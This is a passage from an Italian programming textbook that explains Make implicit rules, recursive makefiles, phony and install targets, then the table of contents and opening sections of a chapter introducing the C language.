`$(CC) -c $(CPPFLAGS) $(CFLAGS)` ***nome***`.c`	Se si richiede la realizzazione dell'obiettivo denominato ***nome.o*** ed esiste il file '***nome***`.c`'.
`$(CXX) -c $(CPPFLAGS) $(CXXFLAGS)` ***nome***`.cc` `$(CXX) -c $(CPPFLAGS) $(CXXFLAGS)` ***nome***`.cpp`	Se si richiede la realizzazione dell'obiettivo denominato ***nome.o*** ed esiste il file '***nome***`.cc`' o '***nome***`.cpp`'.
`$(AS) $(ASFLAGS)` ***nome***`.s`	Se si richiede la realizzazione dell'obiettivo denominato ***nome.o*** ed esiste il file '***nome***`.s`'. Se il file '***nome***`.s`' è assente ma al suo posto esiste '***nome***`.S`', allora il primo viene generato dal comando successivo.
`$(CPP) $(CPPFLAGS)` ***nome***`.S`	Se si richiede la realizzazione dell'obiettivo denominato ***nome.s*** ed esiste il file '***nome***`.S`'.
`$(CC) $(LDFLAGS)` ***nome***`.o $(LOADLIBES) $(LDLIBS)`	Se si richiede la realizzazione dell'obiettivo denominato ***nome*** ed esiste il file '***nome***`.o`'.

Naturalmente, le regole implicite si concatenano tra di loro. Per esempio, si suppone di disporre del file '`prova.c`' e di volerlo compilare utilizzando Make nel modo seguente:

$ **`make prova`** [*Invio*]

Si sta facendo riferimento all'obiettivo '**`prova`**' che si intende non sia stato dichiarato nello script di Make. Pertanto, per realizzare questo obiettivo, Make deve cercare una regola implicita appropriata e in questo caso è quella che serve a collegare un file oggetto '`prova.o`':

```
prova: prova.o
        $(CC) $(LDFLAGS) prova.o $(LOADLIBES) $(LDLIBS)
```

Questa regola implicita, evidentemente, dipende da un'altra regola che descrive in che modo viene ottenuto il file '`prova.o`'. Dal momento che Make trova il file '`prova.c`', la regola è questa:

```
prova.o: prova.c
        $(CC) -c $(CPPFLAGS) $(CFLAGS) prova.c
```

Di conseguenza viene eseguita la compilazione.

76.8.10 Uno script per ogni sottodirectory

Di solito si predispone uno script di Make per ogni sottodirectory che contenga qualcosa da costruire; poi, in una o in alcune directory si colloca uno script realizzato in modo da avviare lo stesso programma '**`make`**' nelle sottodirectory inferiori.

A titolo di esempio, si suppone di avere un progetto suddiviso in tre sottodirectory: '`mele/`', '`arance/`' e '`limoni/`'. All'interno di ogni sottodirectory c'è un file '`Makefile`'. Nella directory che contiene queste sottodirectory c'è un file '`Makefile`' con una regola per avviare sequenzialmente gli altri file equivalenti delle sottodirectory:

```
sub = mele arance limoni

all:
        for d in $(sub) ; do cd $$d ; $(MAKE) ; cd .. ; done
```

Viene usato un ciclo per la scansione delle sottodirectory che la shell interpreta così:

```
for d in mele arance limoni
do
    cd $d
    make
    cd ..
done
```

Ogni volta che si usa Make in questo modo, si dovrebbe vedere un avvertimento come quello seguente:

```
make[1]: Entering directory `/home/tizio/mele'
…
make[1]: Leaving directory `/home/tizio/mele'
make[1]: Entering directory `/home/tizio/arance'
…
make[1]: Leaving directory `/home/tizio/arance'
make[1]: Entering directory `/home/tizio/limoni'
…
make[1]: Leaving directory `/home/tizio/limoni'
```

Per lasciare a Make il controllo del ciclo di avvii nelle sottodirectory, si può usare un meccanismo differente, come quello che si vede nel listato successivo:

```
sub = mele arance limoni

all: $(sub)

$(sub): FORCE
        cd $@ && $(MAKE)

FORCE:
```

Si può vedere che l'obiettivo '**all**' (evidentemente un obiettivo fittizio), dipende dai nomi delle sottodirectory. Successivamente è dichiarata una regola con obiettivo multiplo, ovvero una regola che vale indifferentemente per i tre obiettivi di ogni sottodirectory (la variabile automatica '**$@**' si espande nel nome dell'obiettivo preso in considerazione effettivamente). Tale regola dipende però da un altro obiettivo, senza dipendenze e senza comandi, per il quale si è certi che non possa esistere un file con lo stesso nome.

Come mostrato in questi esempi, invece di scrivere il nome del programma eseguibile '**make**', è stata usata la variabile '**MAKE**', la quale riproduce il nome del comando usato per avviare l'interpretazione dello script. Per esempio, se per qualunque motivo il programma '**make**' fosse nominato in maniera differente o fosse usato al di fuori dei percorsi di ricerca per gli eseguibili, con la variabile '**MAKE**' si garantisce sempre di trovare lo stesso programma che risulta già in funzione.

76.8.11 Una regola per più obiettivi

La sezione precedente introduce il concetto di obiettivo multiplo, che però può risultare difficile da intendere con l'esempio mostrato, dal momento che si utilizza una variabile per esprimere l'elenco di obiettivi. Lo stesso esempio può essere tradotto così, senza l'uso di variabili:

```
all: mele arance limoni

mele arance limoni: FORCE
        cd $@ && $(MAKE)

FORCE:
```

Senza usare una regola del genere, occorrerebbe suddividere la stessa in tre (una per ogni singolo obiettivo):

```
...
mele: FORCE
        cd mele && $(MAKE)

arance: FORCE
        cd arance && $(MAKE)

limoni: FORCE
        cd limoni && $(MAKE)
...
```

Questo dovrebbe chiarire anche l'utilità della variabile automatica '**$@**', per individuare l'obiettivo preso effettivamente in considerazione in un dato momento.

76.8.12 Regole fittizie tipiche

Generalmente si organizza uno script di Make in modo da avere alcuni obiettivi fittizi, con cui eseguire le operazioni più comuni in modo complessivo. Tra questi, l'obiettivo più importante in assoluto è quello che deve essere eseguito in modo predefinito (ovvero il primo) e generalmente viene chiamato '**all**'. Tale obiettivo serve di norma per indicare soltanto delle dipendenze da soddisfare.

Tabella 76.144. Obiettivi fittizi comuni.

Obiettivo	Significato comune
`all`	Le azioni da compiere quando non si indica alcun obiettivo in modo esplicito.
`clean`	I comandi da eseguire per cancellare i file oggetto, i binari già compilati ed eventualmente altri file temporanei.
`install`	I comandi necessari a installare i programmi dopo la compilazione.

Stando alla tabella appena mostrata, si può ricordare che le fasi tipiche di un'installazione di un programma distribuito in forma sorgente sono appunto quelle seguenti:

1. # **make** [*Invio*]

   Richiama automaticamente l'obiettivo '**all**', coincidente con i comandi necessari per la compilazione del programma.

2. # **make install** [*Invio*]

   Provvede a installare gli eseguibili compilati nella loro destinazione prevista.

Supponendo di avere realizzato un programma, denominato '`mio_prog.c`', il cui eseguibile debba essere installato nella directory '`/usr/local/bin/`', si potrebbe utilizzare uno script composto come l'esempio seguente, dove l'obiettivo '**all**' richiama la dipendenza dal programma '**mio_prog**' che viene soddisfatta in modo implicito:

```
all: mio_prog

clean:
        rm -f core *.o mio_prog

install:
        cp mio_prog /usr/local/bin
```

76.8.13 Variabili per l'installazione

In uno script di Make realizzato per la compilazione di un programma (composto eventualmente da uno o più file eseguibili) e per la sua installazione successiva, sono presenti normalmente alcune variabili, più o meno standardizzate, per descrivere la collocazione finale dei file. Alcune di queste variabili sono elencate nella tabella successiva.

Tabella 76.146. Alcune variabili usate comunemente per definire l'installazione.

Variabile	Utilizzo
`prefix`	La variabile '**`prefix`**' viene usata normalmente come punto di partenza da cui traggono origine altre variabili più specifiche. Di solito, il valore dato a questa variabile per la distribuzione di un pacchetto sorgente è '`/usr/local/`', dove poi chi compila e installa deve attribuire un valore che per sé possa essere più appropriato.
`exec_prefix`	La variabile '**`exec_prefix`**' rappresenta il punto di riferimento iniziale per l'installazione dei file eseguibili e di solito corrisponde al contenuto di '**`prefix`**'.
`bindir`	Rappresenta la directory in cui vanno installati i file eseguibili a disposizione di tutti gli utenti e corrisponde normalmente alla directory '`bin/`' successiva al contenuto di '**`exec_prefix`**'. Pertanto, se '**`prefix`**' e '**`exec_prefix`**' indicano '`/usr/local/`', '**`bindir`**' indica normalmente '`/usr/local/bin/`'.
`sbindir`	Rappresenta la directory in cui vanno installati i file eseguibili utili per l'amministrazione e corrisponde normalmente alla directory '`sbin/`' successiva al contenuto di '**`exec_prefix`**'.

Uno script che usa queste variabili potrebbe essere realizzato così:

```
prefix = /usr/local
exec_prefix = $(prefix)
bindir=$(exec_prefix)/bin

all: mio_prog

clean:
        rm -f core *.o mio_prog

install:
        cp mio_prog $(bindir)
```

76.8.14 Definizione della shell

In linea di principio, la shell usata per eseguire i comandi contenuti nelle regole di uno script di Make è '`/bin/sh`'. Tuttavia, il nome e il percorso esatto possono essere controllati attraverso la variabile '**`SHELL`**'. In generale può essere conveniente aggiungere nello script la dichiarazione seguente, in modo da non avere sorprese:

```
SHELL = /bin/sh
```

Per esempio, utilizzando GNU Make occorre considerare che le variabili di ambiente sono ereditate e la presenza eventuale di una variabile '**`SHELL`**' potrebbe creare problemi: è per questo che la dichiarazione suggerita può essere conveniente.

Evidentemente, nello stesso modo descritto è possibile cambiare la shell che interpreta i comandi, ma ciò è sicuramente sconsigliabile, nell'ottica della creazione di script «standard».

76.8.15 Installazione dei programmi

È il caso di osservare che, normalmente, l'installazione dei programmi, ovvero la loro copia nella destinazione finale, dopo la compilazione, si esegue con il programma '**`install`**' (eventualmente si veda la sezione 22.11.7). Il motivo di questa scelta sta normalmente nella facilità con cui, assieme alla copia, si definiscono i permessi e la proprietà del file nella destinazione. Lo script seguente riprende gli ultimi esempi e concetti già visti:

```
SHELL = /bin/sh
prefix = /usr/local
exec_prefix = $(prefix)
bindir=$(exec_prefix)/bin

all: mio_prog

clean:
        rm -f core *.o mio_prog

install:
        install -o root -g bin -m 755 mio_prog $(bindir)
```

76.9 Riferimenti

- *YoLinux Tutorial - Static, Shared Dynamic and Loadable Linux Libraries*

  ⟨*http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html* ⟩

- Steve Chamberlain, Ian Lance Taylor, *Using LD, the GNU linker*

  ⟨*http://mssls7.mssl.ucl.ac.uk/sw/help/man/ld_toc.html* ⟩

  ⟨*http://www.zemris.fer.hr/~leonardo/oszur/tehnicki.dokumenti/gnu-linker.pdf* ⟩

- *a.out (file format)*
  ⟨*http://en.wikipedia.org/wiki/A.out_(file_format)* ⟩
- *COFF*
  ⟨*http://en.wikipedia.org/wiki/COFF* ⟩
- *Portable Executable*
  ⟨*http://en.wikipedia.org/wiki/Portable_Executable* ⟩
- *DWARF*
  ⟨*http://en.wikipedia.org/wiki/DWARF* ⟩
- *Mach-O*
  ⟨*http://en.wikipedia.org/wiki/Mach-O* ⟩
- *Executable and linkable format*
  ⟨*http://en.wikipedia.org/wiki/Executable_and_Linkable_Format* ⟩
- *format of executable and linking format (ELF) files*
  pagina di manuale *elf(5)*
- Brian Raiter, *A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux*
  ⟨*http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html* ⟩
- *Multiboot specification*
  ⟨*http://www.gnu.org/software/grub/manual/multiboot/* ⟩
- osdev.org wiki, *Tutorial: bare bones*
  ⟨*http://wiki.osdev.org/Tutorial:Bare_bones* ⟩
- Gergor Brunmar: *The booting process*, *The world of Protected mode*, *Mixing Assembly and C-code*
  ⟨*http://www.osdever.net/tutorials/pdf/gb_booting.pdf* ⟩
  ⟨*http://www.osdever.net/tutorials/pdf/gb_pmode.pdf* ⟩
  ⟨*http://www.osdever.net/tutorials/pdf/gb_asm_and_c.pdf* ⟩
- mr. xsism, *Xosdev*
  ⟨*http://www.osdever.net/tutorials/pdf/ch01.pdf* ⟩
  ⟨*http://www.osdever.net/tutorials/pdf/ch02.pdf* ⟩
- Tim Robinson, *Writing a Kernel in C*
  ⟨*http://www.osdever.net/tutorials/pdf/ckernel.pdf* ⟩
- Joachim Nock, K.J., *Making a Simple C kernel with Basic printf and clearscreen Functions*
  ⟨*http://www.osdever.net/tutorials/view/writing-a-simple-c-kernel* ⟩
- OSDevWiki, *Category: Tutorials*
  ⟨*http://wiki.osdev.org/Category:Tutorials* ⟩
- OSDevWiki, *Category: Babystep*
  ⟨*http://wiki.osdev.org/Category:Babystep* ⟩

- Daniel Rowell Faulkner, *Hello World Boot Loader*

  ⟨http://www.osdever.net/tutorials/view/hello-world-boot-loader ⟩

- OSRC, *the Operating System resource center*

  ⟨http://www.nondot.org/sabre/os/articles ⟩

- SigOps, *How to Write an Operating System*

  ⟨http://www.acm.uiuc.edu/sigops/roll_your_own/ ⟩
  ⟨http://www.acm.uiuc.edu/sigops/roll_your_own/hardware/kb.html ⟩
  ⟨http://www.acm.uiuc.edu/sigops/roll_your_own/hardware/text.html ⟩

- *GNU Compiler Collection*

  ⟨http://en.wikipedia.org/wiki/GNU_Compiler_Collection ⟩

- *Using the GNU compiler collection (GCC)*

  ⟨http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/ ⟩
  ⟨http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc.pdf ⟩

- Brian Gough, *An Introduction to GCC*

  ⟨http://www.network-theory.co.uk/docs/gccintro/ ⟩

- Richard M. Stallman, Roland McGrath and Paul D. Smith, *GNU Make: A Program for Directing Recompilation*, ISBN 1-882114-83-3

  ⟨http://www.gnu.org/software/make/manual/ ⟩

[1] **GNU Binutils** GNU GPL

[2] Sono pochi i sistemi operativi affermati, mentre esistono una miriade di progetti più o meno abbandonati; quindi: prima di pensare di scrivere il proprio sistema converrebbe dare un'occhiata a quanti lavori del genere sono stati catalogati.

[3] **GCC** GNU GPL

[4] Di norma, il comando '**`ulimit`**' è gestito internamente dalla shell; in questo esempio si fa riferimento a una shell POSIX.

[5] Lo script di Make potrebbe essere nominato anche in altri modi, per esempio senza l'iniziale maiuscola (quindi solo '`makefile`') ma in generale conviene attenersi al suggerimento di usare il nome '`Makefile`' che, in un elenco ordinato per nome dei file di una directory, ha il vantaggio di apparire prima di altri a causa dell'iniziale maiuscola.

[6] Nel caso di GNU Make esiste una direttiva apposita per dichiarare quali obiettivi sono fittizi (*phoney*).

[7] GNU Make offre un meccanismo più accurato per impedire che un obiettivo fittizio sia bloccato da un file, ma il metodo mostrato è valido in generale.

[8] Nel caso di GNU Make, nella ricerca del primo obiettivo si escludono i nomi che iniziano con un punto, dal momento che a quelli viene dato un significato particolare.

[9] Di solito il fallimento di un obiettivo può comportare la cancellazione contestuale del file corrispondente all'obiettivo mancato, anche se si tratta di una versione precedente.

Capitolo 77

Introduzione al linguaggio C

77.1 Nozioni minime . . . 4436

77.1.1 Struttura fondamentale . . . 4437
77.1.2 Ciao mondo! . . . 4438
77.1.3 Variabili e tipi . . . 4440
77.1.4 Operatori ed espressioni . . . 4449
77.1.5 Strutture di controllo di flusso . . . 4455
77.1.6 Funzioni . . . 4462
77.1.7 Vincoli nei nomi . . . 4464
77.1.8 I/O elementare . . . 4464
77.1.9 Restituzione di un valore . . . 4466
77.1.10 Attributi per GNU C . . . 4467

77.2 Istruzioni del precompilatore . . . 4469

77.2.1 Linguaggio a sé stante . . . 4469
77.2.2 Direttiva «#include» . . . 4469
77.2.3 Direttiva «#define» . . . 4470
77.2.4 Direttiva «#define» con parametri . . . 4472
77.2.5 Direttive «#if», «#else», «#elif» e «#endif» . . . 4476
77.2.6 Direttive «#if defined», «#if !defined», «#ifdef» e «#ifndef» . . . 4477
77.2.7 Direttiva «#undef» . . . 4479
77.2.8 Direttiva «#line» . . . 4480
77.2.9 Direttiva «#error» . . . 4483
77.2.10 Macro predefinite . . . 4484
77.2.11 Pragma . . . 4484

77.3 Dal campo di azione alla compilazione . . . 4485

77.3.1 Il punto di vista del «collegatore» . . . 4485
77.3.2 Campo di azione legato al file sorgente . . . 4486
77.3.3 Semplificazione dovuta all'uso comune dei file di intestazione . . . 4488
77.3.4 Campo di azione interno alle funzioni . . . 4488
77.3.5 Campo di azione interno ai raggruppamenti di istruzioni . . . 4490
77.3.6 Funzioni annidate . . . 4491
77.3.7 Visibilità, accessibilità, staticità . . . 4491
77.3.8 Compilazione di un progetto composto da più file . . . 4493
77.3.9 Osservazioni sulla vita delle costanti letterali . . . 4494
77.3.10 Libreria standard e file di intestazione . . . 4495

77.4 Annotazioni sulla terminologia . . . 4496

77.4.1 Parametri e argomenti 4496
77.4.2 Byte e caratteri 4496
77.4.3 Unità di traduzione 4496
77.4.4 «Linkage» 4497
77.4.5 Durata di memorizzazione 4497
77.4.6 «Lvalue» e «rvalue» 4497
77.4.7 «Digraph» e «Trigraph» 4499

77.5 Puntatori, array, stringhe e allocazione dinamica della memoria 4499

77.5.1 Espressioni a cui si assegnano dei valori 4500
77.5.2 Puntatori 4500
77.5.3 Array 4505
77.5.4 Array multidimensionali 4508
77.5.5 Natura dell'array 4510
77.5.6 Puntatori costanti 4512
77.5.7 Array e funzioni 4513
77.5.8 Aritmetica dei puntatori 4514
77.5.9 Osservazioni sui puntatori 4517
77.5.10 Stringhe 4518
77.5.11 Parametri della funzione main() 4522
77.5.12 Puntatori a puntatori 4524
77.5.13 Puntatori a più dimensioni 4525
77.5.14 Puntatori e funzioni 4528
77.5.15 Puntatori a variabili distrutte 4530
77.5.16 Puntatore nullo 4530
77.5.17 Utilizzo della memoria in modo dinamico 4531
77.5.18 Puntatori «ristretti» 4533

77.6 Le funzioni 4535

77.6.1 Pila dei dati 4535
77.6.2 Dichiarazione e chiamata di una funzione 4536
77.6.3 Elenco indefinito di parametri 4537
77.6.4 Annotazioni su «printf()» e altre funzioni simili 4541
77.6.5 Costante predefinita «__func__» 4541

77.7 Struttura, unione, campo, enumerazione, costante composta 4542

77.7.1 Enumerazioni 4542
77.7.2 Strutture 4544
77.7.3 Assegnamento, inizializzazione, campo di azione e puntatori delle strutture 4546

77.7.4 Scostamento all'interno delle strutture 4549
77.7.5 Unioni 4550
77.7.6 Campi 4551
77.7.7 Istruzione «typedef» 4552
77.7.8 Costanti letterali composte 4553

77.8 Tipi di dati speciali, di uso comune 4556

77.8.1 Tipo «_Bool» 4556
77.8.2 Tipo «void» 4556
77.8.3 Tipo «size_t» 4558
77.8.4 Tipo «ptrdiff_t» 4559
77.8.5 Tipo «va_list» 4559
77.8.6 Tipo «wchar_t» 4560
77.8.7 Tipo «wint_t» 4560
77.8.8 Tipo «time_t» 4561
77.8.9 Tipo «struct tm» 4561
77.8.10 Tipo «FILE» 4561
77.8.11 Tipo «fpos_t» 4561

77.9 Configurazione locale 4562

77.9.1 Configurazione locale nei sistemi Unix e simili 4562
77.9.2 Configurazione locale nel linguaggio C 4562
77.9.3 Caratteri multibyte e caratteri estesi 4564
77.9.4 Concatenamento eterogeneo 4565
77.9.5 Conversione tra caratteri multibyte e caratteri estesi 4566

77.10 Organizzazione dei file sorgenti 4568

77.10.1 File di intestazione 4568
77.10.2 Funzioni pubbliche 4568
77.10.3 Funzioni e variabili private 4569
77.10.4 Esempio di «stdlib.h» 4569
77.10.5 Parametri delle macro-istruzioni 4571
77.10.6 Compilazione 4571

77.11 K&R 4573

77.11.1 Prototipi e chiamate delle funzioni 4573
77.11.2 Dichiarazione delle funzioni 4574
77.11.3 Operatori composti di assegnamento 4575
77.11.4 Tipi numerici 4576
77.11.5 Tipo «void *» 4576
77.11.6 Direttive del preprocessore 4576

77.11.7 Altre osservazioni su K&R 4576
77.11.8 Unproto 4577

77.12 Riferimenti 4577

! 4449 4451 != 4449 4451 * 4449 4450 4500 ** 4524 4525 *** 4524 *...const 4512 *= 4449 4450 *& 4517 + 4449 4450 ++ 4449 4450 += 4449 4450 . 4544 4546 / 4449 4450 /*...*/ 4437 // 4437 /= 4449 4450 0... 4443 0x... 4443 ; 4437 = 4449 4450 == 4449 4451 ? : 4449 4451 argc 4522 argv 4522 auto 4488 bool 4556 break 4457 4458 4460 calloc() 4531 case 4457 *cast* 4454 char 4441 const 4447 4448 const...* 4512 const volatile 4448 continue 4458 4460 cpp 4469 default 4457 do 4459 double 4441 else 4455 enum 4542 exit() 4466 extern 4486 4488 extern const volatile 4448 F 4443 FILE 4561 float 4441 for 4460 fpos_t 4561 free() 4531 if 4455 int 4441 L 4443 4443 LL 4443 locale.h 4562 long 4441 long long 4441 L"..." 4564 L'...' 4564 main() 4522 malloc() 4531 NULL 4530 offsetof 4549 printf() 4439 4541 prototipo di funzione 4462 ptrdiff_t 4559 realloc() 4531 register 4488 restrict 4533 return 4462 short 4441 signed 4441 sizeof 4505 size_t 4558 static 4486 4488 stdarg.h 4537 stdlib.h 4531 strcat() 4520 strchr() 4520 strcmp() 4520 strcoll() 4520 strcpy() 4520 strcspn() 4520 string.h 4520 strlen() 4520 strncat() 4520 strncmp() 4520 strncpy() 4520 strpbrk() 4520 strrchr() 4520 strspn() 4520 struct 4544 struct tm 4561 switch 4457 time_t 4561 typedef 4552 U 4443 UL 4443 ULL 4443 union 4550 unsigned 4441 va_arg 4537 va_end 4537 va_list 4537 4559 va_start 4537 void 4449 4462 4556 volatile 4448 wchar_t 4560 4564 while 4458 wint_t 4560 # 4437 #define 4470 #define() 4472 #define()...# 4472 #define()...## 4472 #define()...__VA_ARGS__ 4472 #define...## 4470 #elif 4476 #else 4476 #endif 4476 #error 4483 #if 4476 #ifdef 4477 #ifndef 4477 #if !defined 4477 #if defined 4477 #include 4469 #line 4480 #pragma 4484 #undef 4479 & 4449 4452 4500 &* 4517 &= 4449 4452 && 4449 4451 ^ 4449 4452 ^= 4449 4452 ~ 4449 4452 ~= 4449 4452 \... 4443 \0 4443 \? 4443 \a 4443 \b 4443 \f 4443 \n 4443 \r 4443 \t 4443 \v 4443 \x... 4443 \" 4443 \\ 4443 \' 4443 | 4449 4452 |= 4449 4452 || 4449 4451 {...} 4437 _Bool 4556 _Pragma 4484 __DATE__ 4484 __FILE__ 4484 __func__ 4541 __LINE__ 4484 __STDC_HOSTED__ 4484 __STDC_IEC_559__ 4484 __STDC_IEC_COMPLEX__ 4484 __STDC_ISO_10646__ 4484 __STDC_VERSION__ 4484 __STDC__ 4484 __TIME__ 4484 __VA_ARGS__ 4472 '...' 4443 , 4454 - 4449 4450 -= 4449 4450 -- 4449 4450 -> 4546 < 4449 4451 <= 4449 4451 << 4449 4452 <<= 4449 4452 > 4449 4451 >= 4449 4451 >> 4449 4452 >>= 4449 4452 % 4449 4450 %= 4449 4450

77.1 Nozioni minime

Il linguaggio C è il fondamento dei sistemi Unix. Un minimo di conoscenza di questo linguaggio è importante per districarsi tra i programmi distribuiti in forma sorgente, pur senza volerli modificare.

Il linguaggio C richiede la presenza di un compilatore per generare un file eseguibile (o interpretabile) dal kernel. Se si dispone di un sistema GNU con i cosiddetti «strumenti di sviluppo», intendendo con questo ciò che serve a ricompilare il kernel, si dovrebbe disporre di tutto quello che è necessario per provare gli esempi di questi capitoli.

Il linguaggio C standard deve disporre di una libreria applicabile a ogni tipo di architettura e di sistema operativo; pertanto le funzionalità di tale libreria è molto limitata. In questi capitoli dedicati al linguaggio C, quando si vuole fare riferimento a funzioni che sono definite al di fuori dello standard minimo, ciò viene annotato espressamente; in particolare, nel caso di estensioni che riguardano lo standard POSIX, può apparire anche una nota a margine simbolica.

77.1.1 Struttura fondamentale

Il contenuto di un sorgente in linguaggio C può essere suddiviso in tre parti: commenti, direttive del precompilatore e istruzioni C. I commenti vanno aperti e chiusi attraverso l'uso dei simboli '**/***' e '***/**'; se poi il compilatore è conforme a standard più recenti, è ammissibile anche l'uso di '**//**' per introdurre un commento che termina alla fine della riga.

```
/* Questo è un commento che continua
   su più righe e finisce qui. */

// Qui inizia un altro commento che termina alla fine della riga;
// pertanto, per ogni riga va ripetuta la sequenza "//" di apertura.
```

Le direttive del precompilatore rappresentano un linguaggio che guida alla compilazione del codice vero e proprio. L'uso più comune di queste direttive viene fatto per includere porzioni di codice sorgente esterne al file. È importante fare attenzione a non confondersi, dal momento che tali istruzioni iniziano con il simbolo '**#**': non si tratta di commenti.

Il programma C tipico richiede l'inclusione di codice esterno composto da file che terminano con l'estensione '`.h`'. La porzione di libreria che viene utilizzata più frequentemente è quella necessaria alla gestione dei flussi di standard input, standard output e standard error; si dichiara implicitamente il suo utilizzo includendo il file di intestazione '`stdio.h`' nel modo seguente:

```
#include <stdio.h>
```

Le istruzioni C terminano con un punto e virgola ('**;**') e i raggruppamenti di queste (noti come «istruzioni composte») si fanno utilizzando le parentesi graffe ('**{ }**').[1]

***istruzione* ;**

{ ***istruzione* ; *istruzione* ; *istruzione* ;** }

Generalmente, un'istruzione può essere interrotta e ripresa nella riga successiva, dal momento che la sua conclusione è dichiarata chiaramente dal punto e virgola finale. L'istruzione nulla viene rappresentata utilizzando un punto e virgola da solo.

I nomi scelti per identificare ciò che si utilizza all'interno del programma devono seguire regole determinate, definite dal compilatore C a disposizione. Ma per cercare di scrivere codice portabile in altre piattaforme, conviene evitare di sfruttare caratteristiche speciali del proprio ambiente. In particolare:

- un nome può iniziare con una lettera alfabetica e continuare con altre lettere, cifre numeriche e il trattino basso;

- i nomi potrebbero iniziare anche con il trattino basso, ma ciò è preferibile evitarlo, se non ci sono motivi validi per questo;[2]
- nei nomi si distinguono le lettere minuscole da quelle maiuscole (pertanto, '**`Nome`**' è diverso da '**`nome`**' e da tante altre combinazioni di minuscole e maiuscole).

La lunghezza dei nomi può essere un elemento critico; generalmente la dimensione massima dovrebbe essere di 32 caratteri, ma ci sono versioni di C che ne possono accettare solo una quantità inferiore. In particolare, il compilatore GNU ne accetta molti di più di 32. In ogni caso, il compilatore non rifiuta i nomi troppo lunghi, semplicemente non ne distingue più la differenza oltre un certo punto.

Il codice di un programma C è scomposto in funzioni, dove normalmente l'esecuzione del programma corrisponde alla chiamata della funzione ***main()***. Questa funzione può essere dichiarata senza parametri, '**`int main (void)`**', oppure con due parametri precisi: '**`int main (int argc, char *argv[])`**'.[3]

77.1.2 Ciao mondo!

Come sempre, il modo migliore per introdurre a un linguaggio di programmazione è di proporre un esempio banale, ma funzionante. Al solito si tratta del programma che emette un messaggio e poi termina la sua esecuzione.

```
/*
 *      Ciao mondo!
 */

#include <stdio.h>

/* La funzione main() viene eseguita automaticamente all'avvio. */
int main (void)
{
  /* Si limita a emettere un messaggio. */
  printf ("Ciao mondo!\n");
}
```

Nel programma sono state inserite alcune righe di commento. In particolare, all'inizio, l'asterisco che si trova nella seconda riga ha soltanto un significato estetico, per guidare la vista verso la conclusione del commento stesso.

Il programma si limita a emettere la stringa «Ciao Mondo!» seguita da un codice di interruzione di riga, rappresentato dal simbolo '**`\n`**'.

77.1.2.1 Compilazione

Per compilare un programma scritto in C si utilizza generalmente il comando '**`cc`**', anche se di solito si tratta di un collegamento simbolico al vero compilatore che si ha a disposizione. Supponendo di avere salvato il file dell'esempio con il nome '`ciao.c`', il comando per la sua compilazione è il seguente:

$ **`cc ciao.c`** [*Invio*]

Quello che si ottiene è il file '`a.out`' che dovrebbe già avere i permessi di esecuzione.

```
$ ./a.out [Invio]
```

```
Ciao mondo!
```

Se si desidera compilare il programma definendo un nome diverso per il codice eseguibile finale, si può utilizzare l'opzione standard '**`-o`**'.

```
$ cc -o ciao ciao.c [Invio]
```

Con questo comando, si ottiene l'eseguibile '**`ciao`**'.

```
$ ./ciao [Invio]
```

```
Ciao mondo!
```

In generale, se ciò è possibile, conviene chiedere al compilatore di mostrare gli avvertimenti (*warning*), senza limitarsi ai soli errori. Pertanto, nel caso il compilatore sia GNU C, è bene usare l'opzione '**`-Wall`**':

```
$ cc -Wall -o ciao ciao.c [Invio]
```

77.1.2.2 Emissione dati attraverso «printf()»

L'esempio di programma presentato sopra si avvale della funzione ***printf()***[4] per emettere il messaggio attraverso lo standard output. Questa funzione è più sofisticata di quanto possa apparire dall'esempio, in quanto permette di comporre il risultato da emettere. Negli esempi più semplici di codice C appare immancabilmente questa funzione, per cui è necessario descrivere subito, almeno in parte, il suo funzionamento.

```
int printf (stringa_di_formato [, espressione]...);
```

La funzione ***printf()*** emette attraverso lo standard output la stringa che costituisce il primo parametro, dopo averla rielaborata in base alla presenza di ***specificatori di conversione*** riferiti alle eventuali espressioni che compongono gli argomenti successivi; inoltre restituisce il numero di caratteri emessi.

L'utilizzo più semplice di ***printf()*** è quello che è già stato visto, cioè l'emissione di una stringa senza specificatori di conversione (il codice '**`\n`**' rappresenta un carattere preciso e non è uno specificatore, piuttosto si tratta di una cosiddetta sequenza di escape).

```
printf ("Ciao mondo!\n");
```

La stringa può contenere degli specificatori di conversione del tipo '**`%i`**', '**`%c`**', '**`%f`**',... e questi fanno ordinatamente riferimento agli argomenti successivi. L'esempio seguente fa in modo che la stringa incorpori il valore del secondo argomento nella posizione in cui appare '**`%i`**':

```
printf ("Totale fatturato: %i\n", 12345);
```

Lo specificatore di conversione '`%i`' stabilisce anche che il valore in questione deve essere trasformato secondo una rappresentazione decimale intera. Per cui, il risultato diviene esattamente quello che ci si aspetta.

```
Totale fatturato: 12345
```

77.1.3 Variabili e tipi

I tipi di dati elementari gestiti dal linguaggio C dipendono dall'architettura dell'elaboratore sottostante. In questo senso, volendo fare un discorso generale, è difficile definire la dimensione delle variabili numeriche; si possono dare solo delle definizioni relative. Solitamente, il riferimento è dato dal tipo numerico intero ('`int`') la cui dimensione in bit corrisponde a quella della ***parola***, ovvero dalla capacità dell'unità aritmetico-logica del microprocessore, oppure a qualunque altra entità che il microprocessore sia in grado di gestire con la massima efficienza. In pratica, con l'architettura x86 a 32 bit, la dimensione di un intero normale è di 32 bit, ma rimane la stessa anche con l'architettura x86 a 64 bit.

I documenti che descrivono lo standard del linguaggio C, definiscono la «dimensione» di una variabile come ***rango*** (*rank*).

77.1.3.1 Bit, byte e caratteri

A proposito della gestione delle variabili, esistono pochi concetti che sembrano rimanere stabili nel tempo. Il riferimento più importante in assoluto è il byte, che per il linguaggio C è almeno di 8 bit, ma potrebbe essere più grande.[5] Dal punto di vista del linguaggio C, il byte è l'elemento più piccolo che si possa indirizzare nella memoria centrale, questo anche quando la memoria fosse organizzata effettivamente a parole di dimensione maggiore del byte. Per esempio, in un elaboratore che suddivide la memoria in blocchi da 36 bit, si potrebbero avere byte da 9, 12, 18 bit o addirittura 36 bit.[6]

Una volta definito il byte, si considera che il linguaggio C rappresenti ogni variabile scalare come una sequenza continua di byte; pertanto, tutte le variabili scalari sono rappresentate come multipli di byte; di conseguenza anche le variabili strutturate lo sono, con la differenza che in tal caso potrebbero inserirsi dei «buchi» (in byte), dovuti alla necessità di allineare i dati in qualche modo.

